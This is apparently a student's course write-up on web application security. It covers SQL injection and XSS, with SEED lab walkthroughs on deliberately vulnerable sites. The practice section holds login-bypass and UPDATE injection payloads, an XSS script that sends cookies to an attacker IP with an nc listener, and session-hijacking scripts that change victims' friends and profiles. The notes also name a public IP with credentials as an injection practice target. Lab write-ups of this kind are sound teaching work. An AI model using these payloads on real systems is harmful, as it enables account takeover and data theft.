20199121《网络攻防实践》第十一周作业
前言
问题 | 回答 |
---|---|
这个作业属于那个课程 | 网络攻防实践 |
这个作业的要求在哪里 | 《网络攻防实践》第十一周作业 |
学习内容 | 第十一章 web应用程序安全攻防 |
1.知识点梳理与总结
1.1 web应用体系结构及安全威胁
- web应用体系结构
- Web客户端—浏览器:使用HTTP/HTTPS 协议、HTML语言与web服务器交互,获取服务器信息和应用服务。
- Web服务器:接收客户端对资源的请求,将其传递给web应用程序来执行,待应用程序执行完并返回响应,将响应返回给web客户端,在浏览器进行本地执行、渲染和展示。
- Web应用程序 :三层模型:表示层(接受Web客户端输入并显示结果); 业务逻辑层(完成Web应用业务处理,核心, 实现技术-CGI、ASP、PHP等动态脚本);数据层(数据库/本地文件;数据库连接: ODBC/OLEDB/JDBC)
- 数据库:web应用存储数据的地方。
- 传输协议: HTTP/HTTPS :HTTP是无状态、基于ASCII码明文传递的简单协议, HTTPS基于SSL/TLS,提供对传输层认证(AH)和加密(ESP) 。
- Web应用安全威胁
- 针对浏览器和终端用户的web浏览安全威胁:网页木马、网站钓鱼
- 针对传输网络的网络协议安全威胁:HTTP的敏感信息监听、参见第五章TCP/IP协议栈攻击
- 系统层安全威胁:参见第七章第八章针对Linux、Windows系统的攻防技术
- web服务器软件安全威胁:IIS、apache的漏洞
- web应用程序安全威胁:程序员编程时缺乏安全意识或有不好的编程习惯
- web数据安全威胁:web站点中的数据有被窃取、篡改、输入不良信息的威胁
1.2 web应用安全攻防技术概述
-
Web应用信息收集:服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
- 手工审查Web应用程序结构与源代码
- 自动下载与镜像Web站点页面
- Google Hacking技术审查与探测Web应用程序
- Web应用程序安全评估与漏洞审查
-
攻击Web服务器软件
- 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
- 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
- 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
- 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。
-
攻击Web应用程序 (最薄弱)
- 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
- 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
- 命令执行攻击:在web站点执行远程命令的攻击手段。
- 信息暴露:获取web站点具体系统信息的攻击手段。
- 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
-
攻击web数据内容
- 安全敏感数据泄露
- web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
- 利用web服务器的上传目录临时中转文件。
- 在web站点公开的文档资料中包含个人隐私、企业秘密。
- 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
- 不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。
- 安全敏感数据泄露
-
web应用安全防范措施:
- web站点网络传输安全:使用HTTPS协议;使用SSH、SFTP等安全协议管理站点;对关键的web服务器,设置静态绑定MAC-IP映射。
- web站点操作系统及服务安全:操作系统及服务器软件及时更新;对站点服务器的操作系统、服务等进行远程安全漏洞扫描;关闭不常用服务;设置强口令字。
- web应用程序安全:谨慎考虑是否采用动态页面技术;使用高质量的web应用软件包;注意应用程序的安全测试与维护;对应用程序的所有访问请求进行日志记录及安全审计。
- web站点数据安全:提高网站内容维护人员的数据安全意识;对数据安全实施日常监测与防护。
1.3 SQL注入
-
原理:web应用程序的用户输入没有被正确地过滤:转义字符(引号、反引 号、双下划线、分号、百分号);没有进行严格类型检查:未判断输入是否预定类型。攻击者通过精心构造的SQL查询命令,触发恶意数据库操作,完成攻击。
-
SQL注入攻击步骤
- 发现SQL注入点:常见的SQL注入点存在于形如
http://SITE/xxx.asp?some_rec=yyy
的动态网页时,当some_rec字段为整形参数,通常数据库SQL操作语句为“SELECT * FROM some_table WHERE some_rec=yyy”,可将参数取值yyy设置为如下三种不同的字符串,并通过返回页面来确定该动态页面是否存在SQL注入点。yyy修改为yyy'
造成SQL出错,动态页面返回错误提示信息。yyy修改为yyy and 1=1
不对查询条件造成任何影响,返回正常页面。yyy修改为yyy and 1=2
查询不到任何信息。
- 判断后台数据库类型
- 利用数据库服务器的系统变量:
db_name()>0
- 利用数据库服务器的系统表进行判断
- 利用数据库服务器的系统变量:
- 利用SQL注入进行后台口令拆解
- 猜解表名
- 猜解字段名
- 用户名和口令猜解: 二分法逼近
- 上传ASP后门,得到默认账户权限 : 在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
- 本地特权提升与利用数据库扩展存储过程
- 发现SQL注入点:常见的SQL注入点存在于形如
-
SQL注入攻击工具
- sqlmap: 自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
一个有sql注入漏洞(也可做XSS攻击)的网址:http://43.247.91.228:81/login.php
登陆的用户名密码:admin/password帮助理解原理很有用 推荐~
注:有多个python时用
py -2
或py -3
来指定使用sqlmap扫描如下地址:
检测结果如下:
1.4 XSS跨站脚本攻击
-
原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为
alert(/xss/)
,这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。 -
与代码注入攻击的比较
- 相同:都是由于Web应用程序没有对非预期输入做全面有效检查和净化。
- 不同:代码注入的目标是web站点,XSS的目标是访问web应用程序的其他用户。
-
XSS攻击类型
-
持久性XSS漏洞
- 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上
- 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害
-
非持久性XSS
-
-
防范措施
-
服务器端防范措施 —— “限制、拒绝、净化”
- 输入验证:对用户提交数据进行尽可能严格的验证与过滤
- 输出净化 HTMLEncode()方法
- 消除危险的输入点
-
客户端防范措施
- 提高浏览器访问非受信网站时的安全等级
- 关闭Cookie功能或设置为只读
- 提高安全意识,养成良好的浏览习惯
-
2.实践
-
实验环境
-
操作系统版本:SEED Ubuntu 16.04
-
服务:Apache 使用命令
sudo service apache2 start
开启服务 -
web 应用:
www.SEEDLabSQLInjection.com
、www.xsslabelgg.com
(镜像中已提供,可直接在sites for labs中进入)
-
2.1 SEED SQL注入实验
- 题目:访问
www.SEEDLabSQLInjection.com
查看实验所用的web应用程序, 该程序是一个简单的员工管理应用程序。完成下列任务:- 对 SELECT 语句的攻击 (在不知道密码的情况下登录该应用程序)
- 对 UPDATE 语句的攻击 (在不知道密码的情况下修改某用户资料)
- 对抗 SQL 注入 ( 修复该web应用的SQL注入漏洞)
实践过程
-
对select语句的攻击
-
打开页面可以看到一个登录窗口,随便输入一个用户名及密码,F12查看表单提交情况,可以看到进行校验的是
unsafe_home.php
。 -
在
/var/www/SQLInjection/
找到unsafe_home.php
,可以知道一些重要信息。- 该web应用的数据库用户为
root
,密码为seedubuntu
- 进行登录认证时,区分
admin用户
及其他用户
。用户信息表为credential
。
- 该web应用的数据库用户为
-
根据上述信息,我们用
admin
来进行登录,我们知道登录时正确的SQL查询语句为SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
但是如果我们输入
Admin'#
,就可以让SQL语句提前结束,而不进行密码校验,#
即将密码校验的部分注释掉了。可以发现,成功进入系统,看到了所有的用户信息。 -
对update语句的攻击
-
在
unsafe_edit_backend.php
中找到了处理update语句的地方,可以发现,员工只能修改自己的个人信息,而无法修改salary,那我们的攻击就是修改salary。 -
由上一步攻击得知除admin之外的用户还有Alice、Boby等等,这里我们就用相同的方法登录Alice。登陆成功后,可以看到salary为
20000
,点击edit profile
修改信息。 -
已知update时正确的处理语句为
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id
如果我们在
nickname
字段输入',salary='0' where Name='Alice'; #
则可以把update语句改为
UPDATE credential SET nickname='',salary='0' where Name='Alice';
,后面的都由#
注释掉了。 -
可以发现成功修改salary为0
-
同理,若Alice登录自己的账号,但是构造语句
',salary='0' where Name='Boby'; #
则可以修改Boby的salary。 -
对抗SQL注入
-
SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。
-
使用
magic_quotes_gpc
避开特殊字符- PHP 代码中的字符串类型的数据需要用单引号
(')
引起来。比如上面的任务中username="$username"
,单引号用于把$username
从代码中区分出来。不幸的是如果$username
中含有单引号,这个区分将被打破。 - 我们需要一个机制告诉数据库
$username
中的单引号应 该被当做数据,而不是 SQL 语句的特殊字符。为此我们只需要在单引号前加一个反斜杠(\)
。 - PHP 提供了自动在单引号、双引号、反斜杠和空字符前添加反斜杠的机制,如果这个 选项启用,那么所有这些从用户输入的特殊字符会被加反斜杠。启用方法为,修改
/etc/php5/apache2/php.ini
的magic_quotes_gpc = On
,然后重启 Apache。
- PHP 代码中的字符串类型的数据需要用单引号
2.2 SEED XSS攻击实验
-
题目:访问
www.xsslabelgg.com
查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:- 通过弹窗显示恶意信息
- 在消息窗口中显示 Cookie
- 窃取受害主机的 Cookie
- 使用窃取的Cookies进行会话劫持
- 修改受害者的信息
- XSS蠕虫
- XSS攻击
-
实验楼提供了本次实践的实验环境及教学 https://www.shiyanlou.com/courses/304
-
整个实践过程参考 https://blog.csdn.net/xxx_qz/article/details/72621025
实践过程
1、通过弹窗显示恶意信息
-
Elgg中已有的账户信息【Alice:seedalice】【Boby:seedboby】
-
在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:
<script>alert('XSS');</script>
-
Alice将上面的JavaScript代码插入自己的profile(比如在the Brief desription域中),然后使用另一个用户(Boby)登录并查看Alice的profile,则将会看到警告窗口。
-
Boby登录,more—>members—>Alice,则出现如下弹框。事实上Alice的description修改之后自己也会弹框。
-
在这种情况下,使用的JavaScript代码足够短,所以能够键入短的描述字段。如果我们想运行一段长的JavaScript代码,为了不受字段字符数量的限制,我们可以把JavaScript程序保存在.js文件内,然后在script标签内使用src属性进行引用。
2、在消息窗口中显示 Cookie
-
同上一步原理相似,只是将
description
改为<script> alert(document.cookie);</script>
3、窃取受害主机的 Cookie
-
在之前的任务中,攻击者编写的恶意JavaScript代码可以打印出用户的Cookie,但只有用户可以看到cookies,而不是攻击者。在这个任务中,攻击者希望JavaScript代码将cookie发送给自己。
-
为了实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
-
嵌入的Javascript代码
<script>document.write('<img src=http://192.168.0.18:5555?c=' + escape(document.cookie) + ' >');</script>
192.168.0.18
为攻击者IP,这里直接用本机。攻击者执行
nc -l 5555 -v
命令,监听5555
端口。当用户访问Alice profile时,打印出当前用户的cookies。
4、使用窃取的Cookies进行会话劫持
-
在窃取受害者的cookies之后,攻击者可以对Elgg网络服务器做任何事情,包括代表受害者添加和删除朋友,删除受害者的帖子等。本质上,攻击者已经劫持了受害者的会话。在这个任务中,我们将发起这个会话劫持攻击,并写一个程序来代表受害者添加一个朋友。
-
首先来尝试添加好友,判断该web是如何发送HTTP请求的,F12查看详情。可以发现添加好友时需要
当前用户的cookies
、__elgg_token
、__elgg_ts
、用户id(被添加的)
。那么如果要自动添加好友,我们至少需要以上信息,其他信息保持原样即可。
-
此处我们完成让Boby自动添加Alice为好友。
-
首先找到Alice的id,为44。
-
接下来利用程序自动获得
cookies
、__elgg_token
、__elgg_ts
-
然后构造url访问,Javascript代码如下:
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
-
将上述代码放在Alice的about me中( edit HTML模式 )
-
以Boby的身份登录,访问Alice的主页,则会自动添加好友。
5)修改受害者的信息
- 与上一个任务方法类似,代码如下,将其放在Alice的about me中( edit HTML模式 )。
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 使用Boby账号访问Alice主页即可看到攻击成功页面
6)XSS蠕虫
这部分参考解建国同学的博客 ,属实没有看懂。(叹气
7)XSS攻击
-
使用Elgg内置的安全插件
HTMLawed
:使用管理员身份登录
->Account
->administration (top right of screen)
->plugins (on the right panel)
将插件HTMLawed
激活。 -
使用
htmlspecialchars()
的内置PHP,可用于对用户输入中的特殊字符进行编码。
3.学习中遇到的问题及解决
-
问题:老师给的参考材料中的SEED虚拟机版本较老,漏洞环境与实际不符。
-
解决:现有的SEED虚拟机有可用的环境,故更换phpBB为SQLInjection、Elgg。
-
问题:新的实验任务靠后的几个问题需要自己写javascript代码,没学过。。。
-
解决:就。。东拼西凑。。
-
问题:进行会话劫持时所需的
__elgg_token
、__elgg_ts
用监听的方式拿不到 -
解决:把获取
__elgg_token
、__elgg_ts
与访问url在同一个程序中进行
4.学习感想和体会
本章实践内容的原理是不难理解的,但要在实际运用中,自己发现注入点、编写脚本等都是有难度的,还需继续努力~
参考资料
- 《网络攻防技术与实践》(诸葛建伟著)
- 实验楼- Elgg 系统跨站脚本攻击实验